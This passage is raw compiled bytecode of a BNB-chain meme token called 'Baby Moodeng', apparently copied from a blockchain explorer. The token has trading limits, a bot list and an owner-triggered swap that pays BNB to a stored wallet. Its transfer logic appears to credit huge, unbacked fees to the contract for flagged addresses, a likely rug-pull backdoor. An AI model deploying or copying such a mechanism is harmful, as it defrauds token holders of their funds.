ffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c2e9190612346565b60405180910390a350505050565b6000838311158290611c84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7b9190612206565b60405180910390fd5b5060008385611c939190612fc9565b9050809150509392505050565b6001601360156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611cd857611cd7612ffd565b5b604051908082528060200260200182016040528015611d065781602001602082028036833780820191505090505b5090503081600081518110611d1e57611d1d61302c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611dc5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611de99190612927565b81600181518110611dfd57611dfc61302c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611e6430601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611121565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611ec8959493929190613119565b600060405180830381600087803b158015611ee257600080fd5b505af1158015611ef6573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611f81573d6000803e3d6000fd5b5050565b6000808303611f975760009050611ff9565b60008284611fa5919061265c565b9050828482611fb491906128e1565b14611ff4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611feb906131e5565b60405180910390fd5b809150505b92915050565b600061204183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061210a565b905092915050565b6000818311612058578261205a565b815b905092915050565b60008082846120719190612e53565b9050838110156120b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ad90613251565b60405180910390fd5b8091505092915050565b600061210283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c3c565b905092915050565b60008083118290612151576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121489190612206565b60405180910390fd5b506000838561216091906128e1565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156121a757808201518184015260208101905061218c565b838111156121b6576000848401525b50505050565b6000601f19601f8301169050919050565b60006121d88261216d565b6121e28185612178565b93506121f2818560208601612189565b6121fb816121bc565b840191505092915050565b6000602082019050818103600083015261222081846121cd565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006122588261222d565b9050919050565b6122688161224d565b811461227357600080fd5b50565b6000813590506122858161225f565b92915050565b6000819050919050565b61229e8161228b565b81146122a957600080fd5b50565b6000813590506122bb81612295565b92915050565b600080604083850312156122d8576122d7612228565b5b60006122e685828601612276565b92505060206122f7858286016122ac565b9150509250929050565b60008115159050919050565b61231681612301565b82525050565b6000602082019050612331600083018461230d565b92915050565b6123408161228b565b82525050565b600060208201905061235b6000830184612337565b92915050565b60008060006060848603121561237a57612379612228565b5b600061238886828701612276565b935050602061239986828701612276565b92505060406123aa868287016122ac565b9150509250925092565b600060ff82169050919050565b6123ca816123b4565b82525050565b60006020820190506123e560008301846123c1565b92915050565b60006020828403121561240157612400612228565b5b600061240f84828501612276565b91505092915050565b6124218161224d565b82525050565b600060208201905061243c6000830184612418565b92915050565b60006020828403121561245857612457612228565b5b6000612466848285016122ac565b91505092915050565b6000806040838503121561248657612485612228565b5b600061249485828601612276565b92505060206124a585828601612276565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111561253557808604811115612511576125106124af565b5b60018516156125205780820291505b808102905061252e856124de565b94506124f5565b94509492505050565b60008261254e576001905061260a565b8161255c576000905061260a565b8160018114612572576002811461257c576125ab565b600191505061260a565b60ff84111561258e5761258d6124af565b5b8360020a9150848211156125a5576125a46124af565b5b5061260a565b5060208310610133831016604e8410600b84101617156125e05782820a9050838111156125db576125da6124af565b5b61260a565b6125ed84848460016124eb565b92509050818404811115612604576126036124af565b5b81810290505b9392505050565b600061261c8261228b565b9150612627836123b4565b92506126547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461253e565b905092915050565b60006126678261228b565b91506126728361228b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156126ab576126aa6124af565b5b828202905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006126ec602083612178565b91506126f7826126b6565b602082019050919050565b6000602082019050818103600083015261271b816126df565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612758601783612178565b915061276382612722565b602082019050919050565b600060208201905081810360008301526127878161274b565b9050919050565b7f424e4220616d6f756e74206d7573742062652067726561746572207468616e2060008201527f3000000000000000000000000000000000000000000000000000000000000000602082015250565b60006127ea602183612178565b91506127f58261278e565b604082019050919050565b60006020820190508181036000830152612819816127dd565b9050919050565b7f50657263656e74616765206d757374206265206265747765656e203120616e6460008201527f2031303000000000000000000000000000000000000000000000000000000000602082015250565b600061287c602483612178565b915061288782612820565b604082019050919050565b600060208201905081810360008301526128ab8161286f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006128ec8261228b565b91506128f78361228b565b925082612907576129066128b2565b5b828204905092915050565b6000815190506129218161225f565b92915050565b60006020828403121561293d5761293c612228565b5b600061294b84828501612912565b91505092915050565b60006040820190506129696000830185612418565b6129766020830184612418565b9392505050565b6000819050919050565b6000819050919050565b60006129ac6129a76129a28461297d565b612987565b61228b565b9050919050565b6129bc81612991565b82525050565b600060c0820190506129d76000830189612418565b6129e46020830188612337565b6129f160408301876129b3565b6129fe60608301866129b3565b612a0b6080830185612418565b612a1860a0830184612337565b979650505050505050565b600081519050612a3281612295565b92915050565b600080600060608486031215612a5157612a50612228565b5b6000612a5f86828701612a23565b9350506020612a7086828701612a23565b9250506040612a8186828701612a23565b9150509250925092565b6000604082019050612aa06000830185612418565b612aad6020830184612337565b9392505050565b612abd81612301565b8114612ac857600080fd5b50565b600081519050612ada81612ab4565b92915050565b600060208284031215612af657612af5612228565b5b6000612b0484828501612acb565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612b69602483612178565b9150612b7482612b0d565b604082019050919050565b60006020820190508181036000830152612b9881612b5c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612bfb602283612178565b9150612c0682612b9f565b604082019050919050565b60006020820190508181036000830152612c2a81612bee565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612c8d602583612178565b9150612c9882612c31565b604082019050919050565b60006020820190508181036000830152612cbc81612c80565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612d1f602383612178565b9150612d2a82612cc3565b604082019050919050565b60006020820190508181036000830152612d4e81612d12565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612db1602983612178565b9150612dbc82612d55565b604082019050919050565b60006020820190508181036000830152612de081612da4565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000612e1d601983612178565b9150612e2882612de7565b602082019050919050565b60006020820190508181036000830152612e4c81612e10565b9050919050565b6000612e5e8261228b565b9150612e698361228b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612e9e57612e9d6124af565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b6000612edf601a83612178565b9150612eea82612ea9565b602082019050919050565b60006020820190508181036000830152612f0e81612ed2565b9050919050565b6000612f208261228b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612f5257612f516124af565b5b600182019050919050565b7f4f6e6c7920332073656c6c732070657220626c6f636b21000000000000000000600082015250565b6000612f93601783612178565b9150612f9e82612f5d565b602082019050919050565b60006020820190508181036000830152612fc281612f86565b9050919050565b6000612fd48261228b565b9150612fdf8361228b565b925082821015612ff257612ff16124af565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6130908161224d565b82525050565b60006130a28383613087565b60208301905092915050565b6000602082019050919050565b60006130c68261305b565b6130d08185613066565b93506130db83613077565b8060005b8381101561310c5781516130f38882613096565b97506130fe836130ae565b9250506001810190506130df565b5085935050505092915050565b600060a08201905061312e6000830188612337565b61313b60208301876129b3565b818103604083015261314d81866130bb565b905061315c6060830185612418565b6131696080830184612337565b9695505050505050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006131cf602183612178565b91506131da82613173565b604082019050919050565b600060208201905081810360008301526131fe816131c2565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061323b601b83612178565b915061324682613205565b602082019050919050565b6000602082019050818103600083015261326a8161322e565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209df7942f54b09705df63750a1ddb34df36f1b5c7b41cf5b9ccd608dccd0fb62764736f6c634300080f0033

Deployed Bytecode

0x6080604052600436106101185760003560e01c8063715018a6116100a057806395d89b411161006457806395d89b411461038a578063a9059cbb146103b5578063bf474bed146103f2578063d16336491461041d578063dd62ed3e146104395761011f565b8063715018a6146102db578063751039fc146102f25780637d1db4a5146103095780638da5cb5b146103345780638f9a55c01461035f5761011f565b806323b872dd116100e757806323b872dd146101e2578063313ce5671461021f5780633bbac5791461024a57806351bc3c851461028757806370a082311461029e5761011f565b806306fdde0314610124578063095ea7b31461014f5780630faee56f1461018c57806318160ddd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610476565b6040516101469190612206565b60405180910390f35b34801561015b57600080fd5b50610176600480360381019061017191906122c1565b6104b3565b604051610183919061231c565b60405180910390f35b34801561019857600080fd5b506101a16104d1565b6040516101ae9190612346565b60405180910390f35b3480156101c357600080fd5b506101cc6104d7565b6040516101d99190612346565b60405180910390f35b3480156101ee57600080fd5b5061020960048036038101906102049190612361565b6104fb565b604051610216919061231c565b60405180910390f35b34801561022b57600080fd5b506102346105d4565b60405161024191906123d0565b60405180910390f35b34801561025657600080fd5b50610271600480360381019061026c91906123eb565b6105dd565b60405161027e919061231c565b60405180910390f35b34801561029357600080fd5b5061029c610633565b005b3480156102aa57600080fd5b506102c560048036038101906102c091906123eb565b6106d0565b6040516102d29190612346565b60405180910390f35b3480156102e757600080fd5b506102f0610719565b005b3480156102fe57600080fd5b5061030761086c565b005b34801561031557600080fd5b5061031e61099c565b60405161032b9190612346565b60405180910390f35b34801561034057600080fd5b506103496109a2565b6040516103569190612427565b60405180910390f35b34801561036b57600080fd5b506103746109cb565b6040516103819190612346565b60405180910390f35b34801561039657600080fd5b5061039f6109d1565b6040516103ac9190612206565b60405180910390f35b3480156103c157600080fd5b506103dc60048036038101906103d791906122c1565b610a0e565b6040516103e9919061231c565b60405180910390f35b3480156103fe57600080fd5b50610407610a2c565b6040516104149190612346565b60405180910390f35b61043760048036038101906104329190612442565b610a32565b005b34801561044557600080fd5b50610460600480360381019061045b919061246f565b611092565b60405161046d9190612346565b60405180910390f35b60606040518060400160405280600c81526020017f42616279204d6f6f64656e670000000000000000000000000000000000000000815250905090565b60006104c76104c0611119565b8484611121565b6001905092915050565b60115481565b60006009600a6104e79190612611565b633b9aca006104f6919061265c565b905090565b60006105088484846112ea565b6105c984610514611119565b6105c48560405180606001604052806028815260200161327260289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061057a611119565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c3c9092919063ffffffff16565b611121565b600190509392505050565b60006009905090565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610674611119565b73ffffffffffffffffffffffffffffffffffffffff161461069457600080fd5b600061069f306106d0565b905060008111156106b4576106b381611ca0565b5b600047905060008111156106cc576106cb81611f19565b5b5050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610721611119565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a590612702565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610874611119565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610901576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f890612702565b60405180910390fd5b6009600a61090f9190612611565b633b9aca0061091e919061265c565b600e819055506009600a6109329190612611565b633b9aca00610941919061265c565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a6109769190612611565b633b9aca00610985919061265c565b6040516109929190612346565b60405180910390a1565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600f5481565b60606040518060400160405280600b81526020017f424142594d4f4f44454e47000000000000000000000000000000000000000000815250905090565b6000610a22610a1b611119565b84846112ea565b6001905092915050565b60105481565b610a3a611119565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610abe90612702565b60405180910390fd5b601360149054906101000a900460ff1615610b17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0e9061276e565b60405180910390fd5b60003411610b5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5190612800565b60405180910390fd5b600081118015610b6b575060648111155b610baa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba190612892565b60405180910390fd5b7318e621b64d7808c3c47bccbbd7485d23f257d26f601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000606482610c14610c0f611119565b6106d0565b610c1e919061265c565b610c2891906128e1565b9050610c7a610c35611119565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610c669190612611565b633b9aca00610c75919061265c565b611121565b610c8c610c85611119565b30836112ea565b610cd530601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610cc19190612611565b633b9aca00610cd0919061265c565b611121565b6000610ce0306106d0565b9050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d4f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d739190612927565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dfc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e209190612927565b6040518363ffffffff1660e01b8152600401610e3d929190612954565b6020604051808303816000875af1158015610e5c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e809190612927565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719343084600080610f0c6109a2565b426040518863ffffffff1660e01b8152600401610f2e969594939291906129c2565b60606040518083038185885af1158015610f4c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f719190612a38565b505050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611013929190612a8b565b6020604051808303816000875af1158015611032573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110569190612ae0565b506001601360166101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611190576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118790612b7f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f690612c11565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112dd9190612346565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611359576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135090612ca3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113bf90612d35565b60405180910390fd5b6000811161140b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140290612dc7565b60405180910390fd5b60006114156109a2565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561148357506114536109a2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156119a357600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561152c5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156117fd5761156d606461155f600a54600d541161154c57600654611550565b6008545b85611f8590919063ffffffff16565b611fff90919063ffffffff16565b9050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561161a5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156116705750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561172b57600e548211156116ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b190612e33565b60405180910390fd5b600f54826116c7856106d0565b6116d19190612e53565b1115611712576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170990612ef5565b60405180910390fd5b600d600081548092919061172590612f15565b91905055505b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117b457503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156117f8576117f560646117e7600b54600d54116117d4576007546117d8565b6009545b85611f8590919063ffffffff16565b611fff90919063ffffffff16565b90505b611843565b6118406064611832600b54600d541161181957620f424061181e565b620f42405b62ffffff1685611f8590919063ffffffff16565b611fff90919063ffffffff16565b90505b600061184e306106d0565b9050601360159054906101000a900460ff161580156118ba5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156118d25750601360169054906101000a900460ff165b80156118df575060105481115b80156118ee5750600c54600d54115b156119a1576015544311156119065760006014819055505b60036014541061194b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194290612fa9565b60405180910390fd5b6119686119638461195e84601154612049565b612049565b611ca0565b600047905060008111156119805761197f47611f19565b5b6014600081548092919061199390612f15565b919050555043601581905550505b505b6000811115611aa7576119fe81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461206290919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a9e9190612346565b60405180910390a35b611af982600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120c090919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b8e82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461206290919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c2e9190612346565b60405180910390a350505050565b6000838311158290611c84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7b9190612206565b60405180910390fd5b5060008385611c939190612fc9565b9050809150509392505050565b6001601360156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611cd857611cd7612ffd565b5b604051908082528060200260200182016040528015611d065781602001602082028036833780820191505090505b5090503081600081518110611d1e57611d1d61302c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611dc5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611de99190612927565b81600181518110611dfd57611dfc61302c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611e6430601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611121565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611ec8959493929190613119565b600060405180830381600087803b158015611ee257600080fd5b505af1158015611ef6573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611f81573d6000803e3d6000fd5b5050565b6000808303611f975760009050611ff9565b60008284611fa5919061265c565b9050828482611fb491906128e1565b14611ff4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611feb906131e5565b60405180910390fd5b809150505b92915050565b600061204183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061210a565b905092915050565b6000818311612058578261205a565b815b905092915050565b60008082846120719190612e53565b9050838110156120b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ad90613251565b60405180910390fd5b8091505092915050565b600061210283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c3c565b905092915050565b60008083118290612151576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121489190612206565b60405180910390fd5b506000838561216091906128e1565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156121a757808201518184015260208101905061218c565b838111156121b6576000848401525b50505050565b6000601f19601f8301169050919050565b60006121d88261216d565b6121e28185612178565b93506121f2818560208601612189565b6121fb816121bc565b840191505092915050565b6000602082019050818103600083015261222081846121cd565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006122588261222d565b9050919050565b6122688161224d565b811461227357600080fd5b50565b6000813590506122858161225f565b92915050565b6000819050919050565b61229e8161228b565b81146122a957600080fd5b50565b6000813590506122bb81612295565b92915050565b600080604083850312156122d8576122d7612228565b5b60006122e685828601612276565b92505060206122f7858286016122ac565b9150509250929050565b60008115159050919050565b61231681612301565b82525050565b6000602082019050612331600083018461230d565b92915050565b6123408161228b565b82525050565b600060208201905061235b6000830184612337565b92915050565b60008060006060848603121561237a57612379612228565b5b600061238886828701612276565b935050602061239986828701612276565b92505060406123aa868287016122ac565b9150509250925092565b600060ff82169050919050565b6123ca816123b4565b82525050565b60006020820190506123e560008301846123c1565b92915050565b60006020828403121561240157612400612228565b5b600061240f84828501612276565b91505092915050565b6124218161224d565b82525050565b600060208201905061243c6000830184612418565b92915050565b60006020828403121561245857612457612228565b5b6000612466848285016122ac565b91505092915050565b6000806040838503121561248657612485612228565b5b600061249485828601612276565b92505060206124a585828601612276565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111561253557808604811115612511576125106124af565b5b60018516156125205780820291505b808102905061252e856124de565b94506124f5565b94509492505050565b60008261254e576001905061260a565b8161255c576000905061260a565b8160018114612572576002811461257c576125ab565b600191505061260a565b60ff84111561258e5761258d6124af565b5b8360020a9150848211156125a5576125a46124af565b5b5061260a565b5060208310610133831016604e8410600b84101617156125e05782820a9050838111156125db576125da6124af565b5b61260a565b6125ed84848460016124eb565b92509050818404811115612604576126036124af565b5b81810290505b9392505050565b600061261c8261228b565b9150612627836123b4565b92506126547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461253e565b905092915050565b60006126678261228b565b91506126728361228b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156126ab576126aa6124af565b5b828202905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006126ec602083612178565b91506126f7826126b6565b602082019050919050565b6000602082019050818103600083015261271b816126df565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612758601783612178565b915061276382612722565b602082019050919050565b600060208201905081810360008301526127878161274b565b9050919050565b7f424e4220616d6f756e74206d7573742062652067726561746572207468616e2060008201527f3000000000000000000000000000000000000000000000000000000000000000602082015250565b60006127ea602183612178565b91506127f58261278e565b604082019050919050565b60006020820190508181036000830152612819816127dd565b9050919050565b7f50657263656e74616765206d757374206265206265747765656e203120616e6460008201527f2031303000000000000000000000000000000000000000000000000000000000602082015250565b600061287c602483612178565b915061288782612820565b604082019050919050565b600060208201905081810360008301526128ab8161286f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006128ec8261228b565b91506128f78361228b565b925082612907576129066128b2565b5b828204905092915050565b6000815190506129218161225f565b92915050565b60006020828403121561293d5761293c612228565b5b600061294b84828501612912565b91505092915050565b60006040820190506129696000830185612418565b6129766020830184612418565b9392505050565b6000819050919050565b6000819050919050565b60006129ac6129a76129a28461297d565b612987565b61228b565b9050919050565b6129bc81612991565b82525050565b600060c0820190506129d76000830189612418565b6129e46020830188612337565b6129f160408301876129b3565b6129fe60608301866129b3565b612a0b6080830185612418565b612a1860a0830184612337565b979650505050505050565b600081519050612a3281612295565b92915050565b600080600060608486031215612a5157612a50612228565b5b6000612a5f86828701612a23565b9350506020612a7086828701612a23565b9250506040612a8186828701612a23565b9150509250925092565b6000604082019050612aa06000830185612418565b612aad6020830184612337565b9392505050565b612abd81612301565b8114612ac857600080fd5b50565b600081519050612ada81612ab4565b92915050565b600060208284031215612af657612af5612228565b5b6000612b0484828501612acb565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612b69602483612178565b9150612b7482612b0d565b604